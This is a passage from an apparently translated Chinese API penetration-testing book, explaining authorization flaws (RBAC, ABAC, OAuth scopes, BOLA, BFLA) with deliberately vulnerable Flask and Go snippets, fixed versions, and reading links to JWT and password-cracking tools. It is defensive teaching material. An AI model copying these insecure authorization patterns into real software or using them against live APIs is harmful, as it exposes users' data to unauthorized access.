为了说明这一点,让我们提出三个不同的场景,分别有 RBAC、ABAC 和 OAuth 范围的设置。我们来了解一些攻击是如何进行的。对于 RBAC,假设你有一个管理员工数据的 API,具有不同的角色,如 employee 和 admin。admin 角色可以访问所有员工记录,而 employee 角色只能访问自己的记录。然而,API 在某些操作过程中没有正确验证用户的角色。换句话说,以下是这种情况:
-
作为一名员工,你应该仅能访问自己的数据。然而,你注意到在更新个人信息时,API 并未检查你的角色。
-
通过修改 API 请求以模拟管理员用户,你可以访问并修改任何员工的数据,从而绕过预定的 RBAC 控制。
这里展示了一段易受攻击的 Python 代码片段。请观察其逻辑:
# This function updates employee information.
def update_employee_info(employee_id, new_info, user_role):
if user_role == "admin": # Incorrectly assuming user_role is trusted
# Update employee info in the database
...
return "Information updated successfully"
else:
return "Access denied. No permission to perform this operation."
# API endpoint to update employee information
@app.route('/employees/<employee_id>', methods=['PUT'])
def update_employee(employee_id):
new_info = request.json
user_role = get_user_role(request.headers['Authorization']) # Function to get user role
return update_employee_info(employee_id, new_info, user_role)
该代码仅从请求头中获取请求者提供的角色,而未进一步检查该声明是否合法。因此,在这种情况下,一旦你提交一个 user_role 为 admin 的请求,你就会获得 API 的全部权限。
现在,转到 ABAC,考虑一个在线银行应用的 API,其中财务交易的访问是基于用户账户类型(如标准账户或高级账户)和交易金额来控制的。然而,由于属性验证逻辑中的缺陷,攻击者可以操控交易金额属性来执行高价值交易。
观察一个用 Python 编写的易受攻击的代码示例来表示这一点:
# Function to process financial transactions
def process_transaction(account_type, transaction_amount):
if account_type == "standard" and transaction_amount > 1000:
return "Access denied! Transaction amount above limit."
else:
# Process the transaction
...
return "Transaction processed successfully"
# API endpoint to initiate a financial transaction
@app.route('/transactions', methods=['POST'])
def initiate_transaction():
transaction_data = request.json
account_type = get_account_type(request.headers['Authorization'])
return process_transaction(account_type, transaction_data['amount'])
在这个示例中,initiate_transaction 端点的目的是限制标准账户类型的高价值交易。然而,代码未能正确验证交易金额,导致攻击者能够操控金额并绕过 ABAC 控制。请注意,采用类似于 RBAC 的方式,验证代码仅仅依赖请求者声明的信息。在这种情况下,如果你发送任何与 standard 不同的账户类型,便能够处理该交易,无论其金额如何。
最后,让我们来看一种可能使 OAuth 范围易受攻击的方式。假设你有一个 API 提供访问用户个人信息的功能,并且有不同的范围,如 read_profile 和 write_profile。然而,由于 OAuth 服务器的错误配置,分配给用户的访问令牌包含了不应有的范围,从而允许未经授权访问敏感资源。
看看这个易受攻击的代码:
# Function to read user profile information
def read_profile(access_token):
# Assuming access token scopes are trusted
if "read_profile" in access_token.scopes:
# Read user profile information
...
return "User profile: {}".format(profile_info)
else:
return "Access denied. Insufficient scope."
# API endpoint to retrieve user profile
@app.route('/profile', methods=['GET'])
def get_profile():
# Function to extract access token
access_token = extract_access_token(request.headers['Authorization'])
return read_profile(access_token)
在这个示例中,get_profile 端点本应限制只有具有 read_profile 范围的用户才能访问。然而,代码错误地假设访问令牌的范围是可信的,且没有进行适当的验证,这使得攻击者能够操控令牌并绕过 OAuth 范围限制。总之,如果在 AuthZ 令牌中发送了一个特权范围的声明,在这个后端代码的配合下,你将能够成功执行操作。还有两个我们不能忘记提及的话题,它们通常被简称为 BOLA 和 BFLA。
被破坏的对象级授权(BOLA)
这是一种安全漏洞,当一个 API 在有效地允许访问对象和资源之前没有正确地应用 AuthZ 验证时,便会出现这种情况。通常发生在一个 API 完全依赖用户输入(如对象 ID),而没有检查提供这些 ID 的用户是否真的有权限访问这些 ID 时。你可以通过操控输入来实现未经授权的数据访问。
为了举例说明,假设一个 API 端点根据用户 ID 检索用户详细信息。如果该端点没有检查经过身份验证的用户是否有权访问所需的 ID,渗透测试人员可以提供任何有效的用户 ID 来获取其他用户的数据。当受影响的 API(或其背后的应用程序)处理敏感数据时,比如财务或健康记录,这种情况可能非常危险。当 BOLA(Broken Object Level Authorization)出现在应用程序或 API 代码中时,您可以枚举对象 ID 并访问未经授权的数据。观察下面的 Python 代码,它存在 BOLA 漏洞:
from flask import Flask, request, jsonify
app = Flask(__name__)
def get_user_by_id(user_id): users = { "1": {"id": 1, "name": "Alice", "role": "admin"}, "2": {"id": 2, "name": "Bob", "role": "user"}, "3": {"id": 3, "name": "Charlie", "role": "user"} } return users.get(user_id, None)
@app.route('/user', methods=['GET'])def get_user(): user_id = request.args.get('id') user = get_user_by_id(user_id) if user: return jsonify(user) else: return jsonify({"error": "User not found"}), 404
if __name__ == '__main__': app.run()
任何经过身份验证的用户都可以通过提供他们的 ID 来访问其他用户的详细信息。现在观察一个删除漏洞的示例代码更改:
from flask import Flask, request, jsonify
app = Flask(__name__)
def get_current_user(): return {"id": 2, "name": "Bob", "role": "user"} # Mocked current user
def get_user_by_id(user_id): users = { "1": {"id": 1, "name": "Alice", "role": "admin"}, "2": {"id": 2, "name": "Bob", "role": "user"}, "3": {"id": 3, "name": "Charlie", "role": "user"} } return users.get(user_id, None)
@app.route('/user', methods=['GET'])def get_user(): current_user = get_current_user() # Get the authenticated user user_id = request.args.get('id') user = get_user_by_id(user_id)
if not user: return jsonify({"error": "User not found"}), 404
# Check if the current user is trying to access their own data
if str(current_user['id']) != user_id:
return jsonify({"error": "Forbidden"}), 403
return jsonify(user)
if __name__ == '__main__':
app.run()
观察get_user_by_id函数,当提供无效用户 ID 时返回None。接下来我们看一下 BFLA。
错误的功能级别授权(BFLA)
当 API 或其背后的应用程序没有正确应用 AuthZ 检查到其函数和操作时,就会发生这种情况,这允许攻击者执行他们没有权限的功能或访问他们没有权限的资源。这个漏洞通常出现在没有访问控制策略或策略缺乏复杂性的情况下,应用程序在没有正确验证用户角色或权限的前提下,信任这些角色或权限并允许执行功能。
例如,考虑一个 API,它提供的功能没有正确限制为授权用户。如果一个权限较低的渗透测试人员可以执行诸如创建或更改用户等任务,那么整个 API 的安全性可能会受到威胁。甚至新管理员也可以由这样的渗透测试人员创建。观察下面的 Golang 代码,它使用了 BFLA:
package main
import (
"encoding/json"
"net/http"
"strconv"
"github.com/gorilla/mux"
)
type User struct {
ID int `json:"id"`
Name string `json:"name"`
Role string `json:"role"`
}
var users = []User{
{ID: 1, Name: "Alice", Role: "admin"},
{ID: 2, Name: "Bob", Role: "user"},
{ID: 3, Name: "Charlie", Role: "user"},
}
func createUser(w http.ResponseWriter, r *http.Request) {
var newUser User
json.NewDecoder(r.Body).Decode(&newUser)
users = append(users, newUser)
w.WriteHeader(http.StatusCreated)
json.NewEncoder(w).Encode(newUser)
}
func main() {
r := mux.NewRouter()
r.HandleFunc("/admin/create_user", createUser).Methods("POST")
http.ListenAndServe(":8000", r)
}
任何用户都可以访问/admin/create_user端点来创建新用户。现在看看一个建议的代码来修复这个漏洞:
package main
import (
"encoding/json"
"net/http"
"strings"
"github.com/gorilla/mux"
)
type User struct {
ID int `json:"id"`
Name string `json:"name"`
Role string `json:"role"`
}
var users = []User{
{ID: 1, Name: "Alice", Role: "admin"},
{ID: 2, Name: "Bob", Role: "user"},
{ID: 3, Name: "Charlie", Role: "user"},
}
func getCurrentUser(r *http.Request) *User {
authHeader := r.Header.Get("Authorization")
if strings.HasPrefix(authHeader, "Bearer ") {
token := strings.TrimPrefix(authHeader, "Bearer ")
if token == "admin-token" {
return &User{ID: 1, Name: "Alice", Role: "admin"}
}
}
return nil
}
func requireAdminRole(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request){
user := getCurrentUser(r)
if user == nil || user.Role != "admin" {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
func createUser(w http.ResponseWriter, r *http.Request) {
var newUser User
json.NewDecoder(r.Body).Decode(&newUser)
users = append(users, newUser)
w.WriteHeader(http.StatusCreated)
json.NewEncoder(w).Encode(newUser)
}
func main() {
r := mux.NewRouter()
r.Handle("/admin/create_user", requireAdminRole(http.HandlerFunc(createUser))).Methods("POST")
http.ListenAndServe(":8000", r)
}
你刚刚学习了如何通过简单的代码修改来识别和修复影响 API 的最危险漏洞之一。getCurrentUser和requireAdminRole函数的实现是为了加强 AuthZ 逻辑的保护。
总结
本章讨论了与 API 渗透测试相关的其他话题。我们研究了 AuthN 和 AuthZ 机制,它们的细节,以及它们如何可能表现得足够脆弱,从而被利用。你还学习了弱 API 凭证和默认账户,以及如何发现和利用它们作为攻击的一部分。这些构成了任何 API 渗透测试中非常重要的一部分,因为其他阶段,如持久性、横向移动和数据外泄,都依赖于成功利用 AuthN 和 AuthZ。
在下一章中,本书的第三部分也将介绍注入攻击和验证测试。这些攻击可能造成的损害是巨大的,通过实施正确的用户输入验证来成功防御它们是至关重要的。到时候见!
进一步阅读
-
CKAN,一个支持开放数据网站的 Python 框架:
ckan.org/ -
开放数据手册,解释关于开放数据的基本概念:
opendatahandbook.org/guide/en/ -
OAuth 2.0 安全最佳实践:
datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics -
更多 OAuth 授权流及一些图示:
frontegg.com/blog/oauth-grant-types -
探索 CookieMonster:
ian.sh/cookiemonster -
RFC 7517,定义了 JSON Web 密钥:
datatracker.ietf.org/doc/html/rfc7517 -
JWT 破解器,一个用 C 语言编写的暴力破解 JWT 的工具:
github.com/brendan-rius/c-jwt-cracker -
一份精心策划的破解系统工具和列表:
github.com/n0kovo/awesome-password-cracking -
最常见的 200 个 密码:
nordpass.com/most-common-passwords-list/ -
Mentalist,一个用于创建自定义密码列表的工具:
github.com/sc0tfree/mentalist -
Patator – 一个具有模糊测试和密码喷洒功能的暴力破解攻击工具:
salsa.debian.org/pkg-security-team/patator -
AWS 资源组标签 API 参考文档:
docs.aws.amazon.com/resourcegroupstagging/latest/APIReference/overview.html
第三部分:API 基本攻击
现在,您已经了解了第二部分中的基本攻击,接下来是时候继续扩展您对更多攻击类型的了解了。在这一部分,您将学习一些在攻击 API 时不可忽视的技术。我们将讨论适应性的 SQL 和 NoSQL 注入攻击、糟糕的用户输入清理带来的问题、错误处理不当的后果,以及最后备受忌惮的拒绝服务攻击。我们还将为您介绍一些阻止或至少减少此类攻击成功机会的方法。
本节包含以下章节:
-
第五章,注入攻击与验证测试
-
第六章,错误处理与异常测试
-
第七章,拒绝服务与速率限制测试
1410

被折叠的 条评论
为什么被折叠?



